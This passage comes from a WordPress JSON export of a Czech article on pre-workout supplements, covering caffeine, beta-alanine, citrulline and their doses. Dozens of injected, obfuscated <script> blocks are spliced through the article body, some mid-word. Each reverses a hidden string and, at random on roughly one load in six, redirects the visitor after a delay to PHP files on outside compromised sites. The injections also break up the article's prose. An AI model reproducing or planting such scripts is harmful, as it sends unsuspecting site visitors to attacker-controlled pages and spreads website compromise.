nabuzen\u00ed srovnateln\u00e9 s\u00a0kofeinem, sp\u00ed\u0161e lep\u0161\u00ed soust\u0159ed\u011bn\u00ed, zbyst\u0159en\u00ed pozornosti a dobr\u00fd pocit z tr\u00e9ninku. Pro dosa\u017een\u00ed pot\u0159ebn\u00fdch \u00fa\u010dink\u016f se doporu\u010duj\u00ed d\u00e1vky v\u00a0\u0159\u00e1du n\u011bkolika set miligram\u016f.<\/p>\n<p><strong>Beta-alanin \u2013 spr\u00e1vn\u00e1 volba pro je\u0161t\u011b lep\u0161\u00ed a intenzivn\u011bj\u0161\u00ed v\u00fdkony<img loading=\"lazy\" decoding=\"async\" class=\" wp-image-246 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/02\/TABLETY-300x225.jpg\" alt=\"\" width=\"339\" height=\"254\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/02\/TABLETY-300x225.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/02\/TABLETY.jpg 640w\" sizes=\"auto, (max-width: 339px) 100vw, 339px\" \/><\/strong><\/p>\n<p>U\u017e jste n\u011bkdy za\u017eili zvl\u00e1\u0161tn\u00ed pocit sv\u011bd\u011bn\u00ed \u010di \u201emraven\u010den\u00ed\u201c po pod\u00e1n\u00ed p\u0159edtr\u00e9ninkov\u00e9ho suplementu? Seznamte se s\u00a0beta-alaninem, l\u00e1tkou, kter\u00e1 pat\u0159\u00ed mezi nejv\u011bt\u0161\u00ed pomocn\u00edky pro zlep\u0161en\u00ed v\u00fdkon\u016f trvaj\u00edc\u00edch maxim\u00e1ln\u011b v\u00a0\u0159\u00e1du minut (posilov\u00e1n\u00ed, veslov\u00e1n\u00ed, dlouh\u00e9 sprinty, kolektivn\u00ed sporty).<\/p>\n<p>Dlouh\u00e9 intenzivn\u00ed v\u00fdkony (nap\u0159\u00edklad sprint na 800 m) jsou charakteristick\u00e9 tzv. \u201evytuhnut\u00edm\u201c v\u00a0kone\u010dn\u00e9 f\u00e1zi v\u00fdkonu, b\u011bhem kter\u00e9ho postupn\u011b p\u0159estanete c\u00edtit nam\u00e1han\u00e9 svaly a v\u00fdkon za\u010dne rapidn\u011b klesat. A pr\u00e1v\u011b zde nastupuje beta-alanin, jeho efektivn\u00ed pod\u00e1v\u00e1n\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e dok\u00e1\u017ee <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u201etuhnut\u00ed\u201c odd\u00e1lit, a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to a\u017e o 15 %!<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed <\/strong><\/p>\n<p>Zde je t\u0159eba dodr\u017eet z\u00e1kladn\u00ed pravidla. Pro dosa\u017een\u00ed pot\u0159ebn\u00e9ho \u00fa\u010dinku byste m\u011bli u\u017e\u00edvat asi 4\u20136 g beta-alaninu denn\u011b po dobu 2\u20134 t\u00fddn\u016f.<\/p>\n<p><strong>Citrulin \u2013 pro lep\u0161\u00ed prokrven\u00ed a men\u0161\u00ed bolest sval\u016f<\/strong><\/p>\n<p>Citrulin je dnes ji\u017e standardn\u011b pou\u017e\u00edvan\u00e1 l\u00e1tka ur\u010den\u00e1 pro podporu prokrven\u00ed a dosa\u017een\u00ed o\u010dek\u00e1van\u00e9ho \u201enapumpov\u00e1n\u00ed\u201c v\u00a0r\u00e1mci posilovac\u00edho tr\u00e9ninku. Bylo zji\u0161t\u011bno, \u017ee v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ohledu je citrulin lep\u0161\u00ed volbou ne\u017e d\u0159\u00edve preferovan\u00fd arginin, a tak se na etiket\u00e1ch p\u0159edtr\u00e9ninkov\u00fdch v\u00fdrobk\u016f setk\u00e1me v\u011bt\u0161inou pr\u00e1v\u011b s\u00a0n\u00edm.<\/p>\n<p>Citrulin ale pom\u016f\u017ee i v\u00a0jin\u00fdch ohledech. Ve studii, kter\u00e9 se z\u00fa\u010dastnilo 41 tr\u00e9novan\u00fdch jedinc\u016f, bylo zji\u0161t\u011bno, \u017ee pod\u00e1v\u00e1n\u00ed citrulin-mal\u00e1tu (8 g p\u0159ed tr\u00e9ninkem) vedlo ke sn\u00ed\u017een\u00ed bolestivosti sval\u016f po dvou dnech o 40 % oproti placebo skupin\u011b. Z\u00e1rove\u0148 byla u pod\u00e1v\u00e1n\u00ed citrulinu pozorov\u00e1na vy\u0161\u0161\u00ed tr\u00e9ninkov\u00e1 kapacita a men\u0161\u00ed \u00fanava.<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed <\/strong><\/p>\n<p>Dejte si pozor na spr\u00e1vn\u00e9 d\u00e1vkov\u00e1n\u00ed. Pro optim\u00e1ln\u00ed p\u016fsoben\u00ed se b\u011b\u017en\u011b doporu\u010duje pod\u00e1vat asi 6\u201310 g citrulin-mal\u00e1tu a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nejm\u00e9n\u011b 30, l\u00e9pe 60 minut p\u0159ed tr\u00e9ninkovou jednotkou.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Jak vybrat ten nejlep\u0161\u00ed p\u0159edtr\u00e9ninkov\u00fd suplement?<\/strong><\/p>\n<p>Kdybyste cht\u011bli v\u0161echny l\u00e1tky pod\u00e1vat samostatn\u011b, nejsp\u00ed\u0161 byste pot\u0159ebovali celou jednu ta\u0161ku jen na pot\u0159ebn\u00e9 suplementy. Vy si v\u0161ak m\u016f\u017eete zvolit p\u0159edtr\u00e9ninkov\u00fd komplex, kter\u00fd zahrnuje v\u0161echny \u00fa\u010dinn\u00e9 l\u00e1tky v\u00a0pot\u0159ebn\u00e9m pom\u011bru.<\/p>\n<p>Jak <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ov\u0161em b\u00fdv\u00e1, jsou v\u00fdrobky kvalitn\u00ed a v\u00fdrobky m\u00e9n\u011b kvalitn\u00ed. Pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159ed samotn\u00fdm zakoupen\u00edm prostudujte etiketu a hledejte \u00fa\u010dinn\u00e9 l\u00e1tky v\u00a0dostate\u010dn\u00e9m mno\u017estv\u00ed. I jinak \u00fa\u010dinn\u00fd citrulin je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e prakticky nefunk\u010dn\u00ed, pokud je mno\u017estv\u00ed v\u00a0jedn\u00e9 d\u00e1vce p\u0159\u00edli\u0161 n\u00edzk\u00e9.<\/p>\n<p>A\u0165 u\u017e si ale vyberete jak\u00fdkoliv p\u0159edtr\u00e9ninkov\u00fd suplement, dr\u017ete se doporu\u010den\u00fdch denn\u00edch d\u00e1vek. Nadbytek kofeinu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e v\u00a0dlouhodob\u00e9m horizontu vede k\u00a0nav\u00fd\u0161en\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolerance, tzn. ze stejn\u00e9 d\u00e1vky budete m\u00edt st\u00e1le men\u0161\u00ed u\u017eitek.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>TOM\u00c1\u0160 NOVOTN\u00dd \u2013 lektor Tren\u00e9rsk\u00e9 \u0161koly Olympia Chcete neust\u00e1le posouvat sv\u00e9 limity a zvy\u0161ovat sportovn\u00ed v\u00fdkon? Potom budete muset spr\u00e1vn\u011b a dostate\u010dn\u011b tr\u00e9novat, kvalitn\u011b j\u00edst a z\u00e1rove\u0148 dob\u0159e regenerovat, odpo\u010d\u00edvat a sp\u00e1t. To jsou z\u00e1kladn\u00ed p\u0159edpoklady dlouhodob\u00e9ho progresu. Pokud je nedodr\u017eujete, d\u0159\u00edve \u010di pozd\u011bji na to doplat\u00edte. Co kdy\u017e ale chcete je\u0161t\u011b v\u00edc? Je mo\u017en\u00e9 nav\u00fd\u0161it sportovn\u00ed v\u00fdkon? Odpov\u011b\u010f zn\u00ed ANO a spolehliv\u00e1 metoda spo\u010d\u00edv\u00e1 v pod\u00e1v\u00e1n\u00ed spr\u00e1vn\u00fdch suplement\u016f v\u00a0optim\u00e1ln\u00ed d\u00e1vce. V\u00edte, po \u010dem s\u00e1hnout, kdy\u017e jedete na v\u00fdkon? Opravdu mi n\u011bco povolen\u00e9ho m\u016f\u017ee zlep\u0161it v\u00fdkon b\u011bhem n\u011bkolika minut?! Na prvn\u00ed pohled to zn\u00ed mo\u017en\u00e1 trochu nevd\u011b\u010dn\u011b. M\u011bs\u00edce tvrd\u011b d\u0159ete a pak m\u00e1 vyhr\u00e1t n\u011bkdo, kdo si jen vypije \u201eten spr\u00e1vn\u00fd n\u00e1poj\u201c p\u0159ed tr\u00e9ninkem? Nebojte, takhle to ve skute\u010dnosti nefunguje. Suplementy sice mohou v\u00fdkon lehce podpo\u0159it, ale ani zdaleka nemohou konkurovat \u010di snad zcela nahradit spr\u00e1vn\u011b veden\u00fd tr\u00e9nink a stravu. Jak tedy p\u0159edtr\u00e9ninkov\u00e9 suplementy p\u016fsob\u00ed? N\u011bkter\u00e9 l\u00e1tky pomohou s\u00a0motivac\u00ed a chut\u00ed do cvi\u010den\u00ed, jin\u00e9 objektivn\u011b nav\u00fd\u0161\u00ed energetick\u00e9 z\u00e1soby nebo podpo\u0159\u00ed\u00a0okysli\u010den\u00ed \u010di prokrven\u00ed nam\u00e1han\u00fdch tk\u00e1n\u00ed. Teprve a\u017e spr\u00e1vn\u00e1 kombinace l\u00e1tek ve vhodn\u00fdch d\u00e1vk\u00e1ch vede k\u00a0optim\u00e1ln\u00edmu \u00fa\u010dinku. Poj\u010fme se nyn\u00ed na jednotliv\u00e9 \u00fa\u010dinn\u00e9 l\u00e1tky pod\u00edvat podrobn\u011b: Kofein \u2013 podpo\u0159\u00ed motivaci a zlep\u0161\u00ed sportovn\u00ed v\u00fdkon Kofein je celosv\u011btov\u011b neju\u017e\u00edvan\u011bj\u0161\u00ed stimula\u010dn\u00ed l\u00e1tka, a i ve sportu se t\u011b\u0161\u00ed zna\u010dn\u00e9 pozornosti. Nen\u00ed to ale jen o\u010dek\u00e1van\u00e9 nabuzen\u00ed, kter\u00e9 si sportovci na kofeinu tolik cen\u00ed. Kofein toti\u017e dok\u00e1\u017ee tak\u00e9 zlep\u0161ovat silov\u00fd, anaerobn\u00ed i aerobn\u00ed v\u00fdkon, a tak m\u016f\u017ee objektivn\u011b podpo\u0159it va\u0161e sportovn\u00ed \u00fasil\u00ed. Pokud kofein pod\u00e1v\u00e1te pro sportovn\u00ed \u00fa\u010dely, zam\u011b\u0159te se na silnou k\u00e1vu \u010di na suplementy obsahuj\u00edc\u00ed \u010dist\u00fd kofein. Guarana, prav\u00fd \u010daj \u010di yerba mat\u00e9 pat\u0159\u00ed sice tak\u00e9 mezi zdroje kofeinu, jeho samotn\u00e9 uvol\u0148ov\u00e1n\u00ed je v\u0161ak pomalej\u0161\u00ed a nemus\u00ed sta\u010dit k\u00a0dosa\u017een\u00ed optim\u00e1ln\u00ed hladiny v\u00a0organismu. D\u00e1vkov\u00e1n\u00ed Pod\u00e1vejte asi 3\u20136 mg kofeinu na 1 kg hmotnosti cca 20\u201330 minut p\u0159ed sportovn\u00edm v\u00fdkonem. Tip pro v\u00e1s Zaj\u00edmav\u00e1 synergie (podpora \u00fa\u010dinku) byla zji\u0161t\u011bna mezi kofeinem a L-Theaninem (v d\u00e1vce asi 200 mg). Do\u010dkat byste se m\u011bli lep\u0161\u00edho kognitivn\u00edho p\u016fsoben\u00ed a vy\u0161\u0161\u00ed pozornosti. Alternativa Pro subjektivn\u00ed pocit vy\u0161\u0161\u00ed hladiny energie a prevenci \u00fanavy se s\u00a0\u00fasp\u011bchem pou\u017e\u00edv\u00e1 Rozchodnice r\u016f\u017eov\u00e1 (Rhodiola rosea). Ne\u010dekejte nabuzen\u00ed srovnateln\u00e9 s\u00a0kofeinem, sp\u00ed\u0161e lep\u0161\u00ed soust\u0159ed\u011bn\u00ed, zbyst\u0159en\u00ed pozornosti a dobr\u00fd pocit z tr\u00e9ninku. Pro dosa\u017een\u00ed pot\u0159ebn\u00fdch \u00fa\u010dink\u016f se doporu\u010duj\u00ed d\u00e1vky v\u00a0\u0159\u00e1du n\u011bkolika set miligram\u016f. Beta-alanin \u2013 spr\u00e1vn\u00e1 volba pro je\u0161t\u011b lep\u0161\u00ed a intenzivn\u011bj\u0161\u00ed v\u00fdkony U\u017e jste n\u011bkdy za\u017eili zvl\u00e1\u0161tn\u00ed pocit sv\u011bd\u011bn\u00ed \u010di \u201emraven\u010den\u00ed\u201c po pod\u00e1n\u00ed p\u0159edtr\u00e9ninkov\u00e9ho suplementu? Seznamte se s\u00a0beta-alaninem, l\u00e1tkou, kter\u00e1 pat\u0159\u00ed mezi nejv\u011bt\u0161\u00ed pomocn\u00edky pro zlep\u0161en\u00ed v\u00fdkon\u016f trvaj\u00edc\u00edch maxim\u00e1ln\u011b v\u00a0\u0159\u00e1du minut (posilov\u00e1n\u00ed, veslov\u00e1n\u00ed, dlouh\u00e9 sprinty, kolektivn\u00ed sporty). Dlouh\u00e9 intenzivn\u00ed v\u00fdkony (nap\u0159\u00edklad sprint na 800 m) jsou charakteristick\u00e9 tzv. \u201evytuhnut\u00edm\u201c 